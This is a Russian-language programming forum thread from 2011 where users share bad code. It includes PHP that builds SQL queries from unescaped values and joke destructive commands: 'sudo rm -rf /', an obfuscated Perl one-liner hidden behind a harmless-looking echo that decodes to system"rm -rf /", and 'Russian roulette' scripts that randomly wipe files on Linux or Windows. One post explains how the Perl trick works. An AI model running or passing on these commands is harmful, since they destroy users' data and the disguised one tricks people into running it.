Ответить
)))
Добавлено 2011.05.04 17-04
Добавлено2011.06.15 16-37
Как вам? )))
Тогда уж вот так
И что это происходит тут? ))
Порция echo "test... test... test..." на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности.( На самом деле echo, просто выводит сообщение в консоли, с заданным в кавычках текстом, в данном случае на следующей строчке выведется текст "test... test... test..."
вот так...) А вот что происходит в Perl'овом коде - совсем не очевидно из-за того что это язык вуду преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:
Первая конструкция анализирует переменную $? - код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая "ветка" - s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (напоминаю: первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или труба '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое "аккумулятора" по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой - один. Если раскрыть эти диапазоны, получим следующее соответствие:
В результате содержимое $_ принимает вид system"rm -rf /".
Добавлено2011.06.15 22-24
Русская рулетка для Линукса:
Русская рулетка для Винды:
1
Делимся говнокодом
Отправлено: 28 Апр 2011#1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php class mysql_act extends main {
function mysql_count($zap, $m) {
$q = mysql_query($zap);
if ($m == 'count') {
$qc = mysql_num_rows($zap);
} else
$qc = mysql_fetch_array($q);
return $qc;
}
function mysql_method($method ,$arr, $db, $wh) {
$i = 0;
foreach ($arr as $k => $v) {
$i++;
if (count($arr)==$i)
$par .= '`'. $k .'`=\''.$v.'\'';
else
$par .= '`'. $k .'`=\''.$v.'\' &&';
}
$n=0;
foreach ($wh as $k => $v) {
$n++;
if (count($arr)==$n)
$parw .= '`'. $k .'`=\''.$v.'\'';
else
$parw .= '`'. $k .'`=\''.$v.'\' &&';
}
switch ($method) {
case 'SELECT':
$req = 'SELECT * FROM '. $db .' WHERE '. $par;
break;
case 'UPDATE':
$req = 'UPDATE '.$db.' SET '.$parw.' WHERE '. $par;
}
$q['req'] = mysql_query($req);
$q['arr'] = mysql_fetch_array($q['req']);
return $q;
}?>
)))
Отправлено: 15 Июн 2011#3
1
2
<?php true = false; //Удачного дебага?>
Добавлено 2011.05.04 17-04
1
2
3
<?php //Проверка чет/нечет
if ($int == 1 || $int == 3 || $int == 5 || $int == 7 || $int == 9 || $int == 11 || $int == 13) echo 'нечет';
else echo 'чет';?>
Добавлено2011.06.15 16-37
1
2
<?php $b = 'f';
var_dump($b['offset']); //выведет 'f'?>
Я горжусь тем, что создал бесплатную CMS - AtomX . И люблю нашу команду)
Отправлено: 15 Июн 2011#4
Вот не на пхп по все же:
sudo rm -rf /
sudo rm -rf /
Отредактировано автором 15 Июн 2011
Отправлено: 15 Июн 2011#5
Сашка_из_Шебекино пишет:
Вот не на пхп по все же:
sudo rm -rf /
sudo rm -rf /
Code:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Если где то нет чего то значит что то где то есть.
Отправлено: 15 Июн 2011#6
Code:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Я горжусь тем, что создал бесплатную CMS - AtomX . И люблю нашу команду)
Отправлено: 15 Июн 2011#7
Drunya пишет:
И что это происходит тут? ))
Code:
[%username%@fedora-linux ~]$ echo "test... test... test..."
test... test... test...
[%username%@fedora-linux ~]$
test... test... test...
[%username%@fedora-linux ~]$
Code:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
Вторая команда транслирует содержимое "аккумулятора" по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой - один. Если раскрыть эти диапазоны, получим следующее соответствие:
Code:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
`abcdefghijklmnopqrstuvwxyz{/" -
Добавлено2011.06.15 22-24
Русская рулетка для Линукса:
Code:
# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив"
Русская рулетка для Винды:
Code:
set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)
Если где то нет чего то значит что то где то есть.
1
Зарегистрируйтесь или авторизуйтесь что бы писать
Сейчас online: 158. Зарегистрированных: 0. Гостей: 158.